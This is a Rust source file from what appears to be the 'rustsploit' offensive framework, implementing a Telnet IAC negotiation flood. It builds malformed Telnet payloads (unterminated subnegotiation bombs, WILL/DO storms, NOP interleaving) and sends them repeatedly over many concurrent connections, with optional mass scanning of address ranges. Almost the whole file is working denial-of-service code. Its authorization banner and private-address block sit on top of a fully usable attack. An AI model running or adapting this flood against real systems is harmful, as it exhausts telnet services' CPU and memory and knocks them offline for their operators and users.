Files
s-b-repo-rustsploit/src/modules/exploits/dos/telnet_iac_flood.rs
T

474 lines
15 KiB
Rust

use anyhow::{anyhow, Result};
use colored::*;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::time::Duration;
use tokio::io::AsyncWriteExt;
use tokio::sync::Semaphore;
use tokio::time::Instant;
use crate::utils::{
cfg_prompt_default, cfg_prompt_port, cfg_prompt_required, cfg_prompt_yes_no,
normalize_target,
};
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
use crate::utils::network::tcp_connect_str;
const IAC: u8 = 255;
const WILL: u8 = 251;
const WONT: u8 = 252;
const DO: u8 = 253;
const DONT: u8 = 254;
const SB: u8 = 250;
const SE: u8 = 240;
const NOP: u8 = 241;
const ECHO: u8 = 1;
const SGA: u8 = 3;
const TERMINAL_TYPE: u8 = 24;
const NAWS: u8 = 31;
const LINEMODE: u8 = 34;
const NEW_ENVIRON: u8 = 39;
const TERMINAL_SPEED: u8 = 32;
const X_DISPLAY: u8 = 35;
const ENVIRON: u8 = 36;
const STATUS: u8 = 5;
const TIMING_MARK: u8 = 6;
const BINARY: u8 = 0;
const AUTHENTICATION: u8 = 37;
const ENCRYPT: u8 = 38;
#[derive(Clone, Debug)]
struct FloodConfig {
target_host: String,
target_port: u16,
connections: usize,
mode: AttackMode,
duration_secs: u64,
verbose: bool,
}
#[derive(Clone, Debug)]
enum AttackMode {
WillDoStorm,
SubnegotiationBomb,
InterleavedNop,
Combined,
}
pub async fn run(initial_target: &str) -> Result<()> {
if is_mass_scan_target(initial_target) {
if crate::api::is_blocked_target(initial_target) {
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
return Ok(());
}
return run_mass_scan(
initial_target,
MassScanConfig {
protocol_name: "Telnet IAC Flood",
default_port: 23,
state_file: "telnet_iac_flood_mass_state.log",
default_output: "telnet_iac_flood_mass_results.txt",
default_concurrency: 200,
},
|ip: std::net::IpAddr, port: u16| async move {
if crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
Some(format!("{}:{}\n", ip, port))
} else {
None
}
},
)
.await;
}
display_banner();
let config = gather_config(initial_target).await?;
execute_flood(config).await
}
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!(
"{}",
r#"
╔══════════════════════════════════════════════════════════════╗
║ Telnet IAC Negotiation Flood ║
║ Exploits unbounded IAC SB/SE and WILL/DO processing ║
║ Targets: telnet daemons, bruteforce tools, honeypots ║
║ FOR AUTHORIZED TESTING ONLY ║
╚══════════════════════════════════════════════════════════════╝
"#
.red()
.bold()
);
}
async fn gather_config(initial_target: &str) -> Result<FloodConfig> {
crate::mprintln!("{}", "=== Configuration ===".bold());
let target_input = if initial_target.trim().is_empty() {
cfg_prompt_required("target", "Target Host/IP").await?
} else {
crate::mprintln!("{}", format!("[*] Using target: {}", initial_target).cyan());
initial_target.to_string()
};
let normalized = normalize_target(&target_input)?;
// P1-4: refuse (or force explicit authorization for) DoS against
// private / loopback / cloud-metadata addresses.
crate::utils::network::assert_dos_target_authorized(&normalized).await?;
let target_host = if let Some((h, _)) = normalized.split_once(':') {
h.to_string()
} else {
normalized
};
let target_port = cfg_prompt_port("port", "Target port", 23).await?;
let mode_input = cfg_prompt_default(
"mode",
"Attack mode (1=WILL/DO storm, 2=SB bomb, 3=NOP interleave, 4=combined)",
"4",
)
.await?;
let mode = match mode_input.trim() {
"1" => AttackMode::WillDoStorm,
"2" => AttackMode::SubnegotiationBomb,
"3" => AttackMode::InterleavedNop,
_ => AttackMode::Combined,
};
let conn_input = cfg_prompt_default("connections", "Concurrent connections", "100").await?;
let connections: usize = conn_input
.parse()
.map_err(|_| anyhow!("Invalid connection count"))?;
if connections == 0 {
return Err(anyhow!("Connection count must be > 0"));
}
let dur_input = cfg_prompt_default("duration", "Duration (seconds)", "120").await?;
let duration_secs: u64 = dur_input
.parse()
.map_err(|_| anyhow!("Invalid duration"))?;
if duration_secs == 0 {
return Err(anyhow!("Duration must be > 0"));
}
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
crate::mprintln!("\n{}", "=== Attack Configuration ===".bold());
crate::mprintln!(" Target: {}:{}", target_host, target_port);
crate::mprintln!(" Mode: {:?}", mode);
crate::mprintln!(" Connections: {}", connections);
crate::mprintln!(" Duration: {}s", duration_secs);
if !cfg_prompt_yes_no("confirm", "\nProceed with attack?", true).await? {
return Err(anyhow!("Attack cancelled by user"));
}
Ok(FloodConfig {
target_host,
target_port,
connections,
mode,
duration_secs,
verbose,
})
}
fn build_will_do_storm() -> Vec<u8> {
let options: &[u8] = &[
ECHO,
SGA,
TERMINAL_TYPE,
NAWS,
LINEMODE,
NEW_ENVIRON,
TERMINAL_SPEED,
X_DISPLAY,
ENVIRON,
STATUS,
TIMING_MARK,
BINARY,
AUTHENTICATION,
ENCRYPT,
];
let mut buf = Vec::with_capacity(options.len() * 6);
for &opt in options {
buf.extend_from_slice(&[IAC, WILL, opt]);
buf.extend_from_slice(&[IAC, DO, opt]);
}
for &opt in options {
buf.extend_from_slice(&[IAC, WONT, opt]);
buf.extend_from_slice(&[IAC, DONT, opt]);
}
for &opt in options {
buf.extend_from_slice(&[IAC, WILL, opt]);
buf.extend_from_slice(&[IAC, DO, opt]);
}
buf
}
fn build_sb_bomb() -> Vec<u8> {
let mut buf = Vec::with_capacity(8192);
// SB frame with no SE terminator — forces parser to scan entire buffer
buf.extend_from_slice(&[IAC, SB, TERMINAL_TYPE, 0]);
buf.extend(std::iter::repeat(b'A').take(4000));
// Nested IAC bytes that aren't followed by SE — confuses parsers
for _ in 0..100 {
buf.extend_from_slice(&[IAC, IAC]);
}
// Another unterminated SB for a different option
buf.extend_from_slice(&[IAC, SB, NEW_ENVIRON, 0]);
buf.extend(std::iter::repeat(b'B').take(2000));
// A valid-looking but massive NAWS SB (normally 5 bytes, here 1000+)
buf.extend_from_slice(&[IAC, SB, NAWS]);
buf.extend(std::iter::repeat(0xFF).take(1000));
// Sprinkle in a few valid-looking SE-terminated frames so parsers can't
// simply reject everything — they must parse each SB/SE boundary.
for &opt in &[ECHO, SGA, LINEMODE] {
buf.extend_from_slice(&[IAC, SB, opt, 1]);
buf.extend(std::iter::repeat(b'C').take(200));
buf.push(IAC);
buf.push(SE);
}
buf
}
fn build_nop_interleave() -> Vec<u8> {
let mut buf = Vec::with_capacity(6000);
// Rapid IAC NOP flood — each one forces the parser through the IAC state machine
for _ in 0..1000 {
buf.extend_from_slice(&[IAC, NOP]);
}
// Interleave WILL/DO between NOPs so the peer must generate responses
for &opt in &[ECHO, SGA, TERMINAL_TYPE, NAWS, LINEMODE, NEW_ENVIRON] {
for _ in 0..50 {
buf.extend_from_slice(&[IAC, NOP, IAC, WILL, opt, IAC, NOP, IAC, DO, opt]);
}
}
buf
}
fn build_combined_payload() -> Vec<u8> {
let mut buf = Vec::with_capacity(16384);
buf.extend_from_slice(&build_will_do_storm());
buf.extend_from_slice(&build_sb_bomb());
buf.extend_from_slice(&build_nop_interleave());
// Close with a rapid option toggle — forces repeated state changes
for cycle in 0..20u8 {
let opt = (cycle % 14) + 1;
buf.extend_from_slice(&[IAC, WILL, opt, IAC, WONT, opt, IAC, DO, opt, IAC, DONT, opt]);
}
buf
}
async fn flood_worker(
config: FloodConfig,
conn_id: usize,
stop: Arc<AtomicBool>,
bytes_sent: Arc<AtomicU64>,
connections_opened: Arc<AtomicU64>,
errors: Arc<AtomicU64>,
semaphore: Arc<Semaphore>,
) {
let payload = match config.mode {
AttackMode::WillDoStorm => build_will_do_storm(),
AttackMode::SubnegotiationBomb => build_sb_bomb(),
AttackMode::InterleavedNop => build_nop_interleave(),
AttackMode::Combined => build_combined_payload(),
};
let addr = format!("{}:{}", config.target_host, config.target_port);
while !stop.load(Ordering::Relaxed) {
let _permit = match semaphore.acquire().await {
Ok(p) => p,
Err(_) => break,
};
let stream = match tcp_connect_str(&addr, Duration::from_secs(5)).await {
Ok(s) => s,
Err(e) => {
errors.fetch_add(1, Ordering::Relaxed);
if config.verbose {
crate::meprintln!("\n[!] conn {} connect error: {}", conn_id, e);
}
drop(_permit);
tokio::time::sleep(Duration::from_millis(100)).await;
continue;
}
};
connections_opened.fetch_add(1, Ordering::Relaxed);
let (_, mut writer) = tokio::io::split(stream);
// Send payload in a loop until the connection drops or we're stopped
let mut rounds = 0u64;
loop {
if stop.load(Ordering::Relaxed) {
break;
}
match writer.write_all(&payload).await {
Ok(()) => {
bytes_sent.fetch_add(payload.len() as u64, Ordering::Relaxed);
rounds += 1;
}
Err(_) => {
break;
}
}
// Small delay so we don't just fill the kernel send buffer and block
if rounds % 10 == 0 {
tokio::time::sleep(Duration::from_millis(5)).await;
}
}
drop(_permit);
}
}
async fn execute_flood(mut config: FloodConfig) -> Result<()> {
crate::mprintln!(
"\n{}",
"[*] Starting Telnet IAC flood...".yellow().bold()
);
// P2: each held telnet connection consumes a file descriptor. Raise
// RLIMIT_NOFILE / NPROC and clamp the connection count so the operator
// can't run their own host out of FDs.
let (clamped, _) = crate::native::network::ensure_dos_capacity(
"telnet_iac_flood",
config.connections,
1,
);
config.connections = clamped;
let stop_flag = Arc::new(AtomicBool::new(false));
let bytes_sent = Arc::new(AtomicU64::new(0));
let connections_opened = Arc::new(AtomicU64::new(0));
let errors = Arc::new(AtomicU64::new(0));
let semaphore = Arc::new(Semaphore::new(config.connections));
let start_time = Instant::now();
let duration = Duration::from_secs(config.duration_secs);
let mut handles = Vec::with_capacity(config.connections);
for conn_id in 0..config.connections {
let cfg = config.clone();
let stop = stop_flag.clone();
let sent = bytes_sent.clone();
let opened = connections_opened.clone();
let errs = errors.clone();
let sem = semaphore.clone();
handles.push(tokio::spawn(async move {
flood_worker(cfg, conn_id, stop, sent, opened, errs, sem).await;
}));
}
crate::mprintln!("{}", "[*] Flood running!".green().bold());
let stats_stop = stop_flag.clone();
let stats_sent = bytes_sent.clone();
let stats_opened = connections_opened.clone();
let stats_errors = errors.clone();
let stats_task = tokio::spawn(async move {
while !stats_stop.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(2)).await;
let sent = stats_sent.load(Ordering::Relaxed);
let opened = stats_opened.load(Ordering::Relaxed);
let errs = stats_errors.load(Ordering::Relaxed);
let elapsed = start_time.elapsed().as_secs();
let rate_mbps = if elapsed > 0 {
(sent as f64 / (1024.0 * 1024.0)) / elapsed as f64
} else {
0.0
};
crate::mprint!(
"\r{}",
format!(
"[*] Sent: {:>10} bytes ({:.2} MB/s) | Conns: {:>6} | Errors: {:>6} | Elapsed: {}s ",
sent, rate_mbps, opened, errs, elapsed
)
.dimmed()
);
let _ = std::io::Write::flush(&mut std::io::stdout());
}
});
tokio::time::sleep(duration).await;
stop_flag.store(true, Ordering::SeqCst);
for handle in handles {
let _ = tokio::time::timeout(Duration::from_secs(5), handle).await;
}
stats_task.abort();
let total_sent = bytes_sent.load(Ordering::Relaxed);
let total_conns = connections_opened.load(Ordering::Relaxed);
let total_errs = errors.load(Ordering::Relaxed);
let elapsed = start_time.elapsed().as_secs_f64();
crate::mprintln!("\n\n{}", "=== Results ===".bold());
crate::mprintln!(
" {} Total bytes sent: {} ({:.2} MB)",
"[+]".green(),
total_sent,
total_sent as f64 / (1024.0 * 1024.0)
);
crate::mprintln!(
" {} Connections opened: {}",
"[+]".green(),
total_conns
);
crate::mprintln!(" {} Errors: {}", "[*]".cyan(), total_errs);
crate::mprintln!(
" {} Duration: {:.1}s",
"[*]".cyan(),
elapsed
);
if elapsed > 0.0 {
crate::mprintln!(
" {} Avg throughput: {:.2} MB/s",
"[*]".cyan(),
(total_sent as f64 / (1024.0 * 1024.0)) / elapsed
);
}
Ok(())
}
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "Telnet IAC Negotiation Flood".to_string(),
description: "Exploits unbounded IAC subnegotiation (SB without SE) and rapid WILL/DO option cycling to exhaust CPU and memory on telnet daemons, bruteforce tools, and honeypots. Four modes: WILL/DO storm, SB decompression bomb, NOP interleave, and combined.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"RFC 854 — Telnet Protocol".to_string(),
"RFC 855 — Telnet Option Specifications".to_string(),
],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}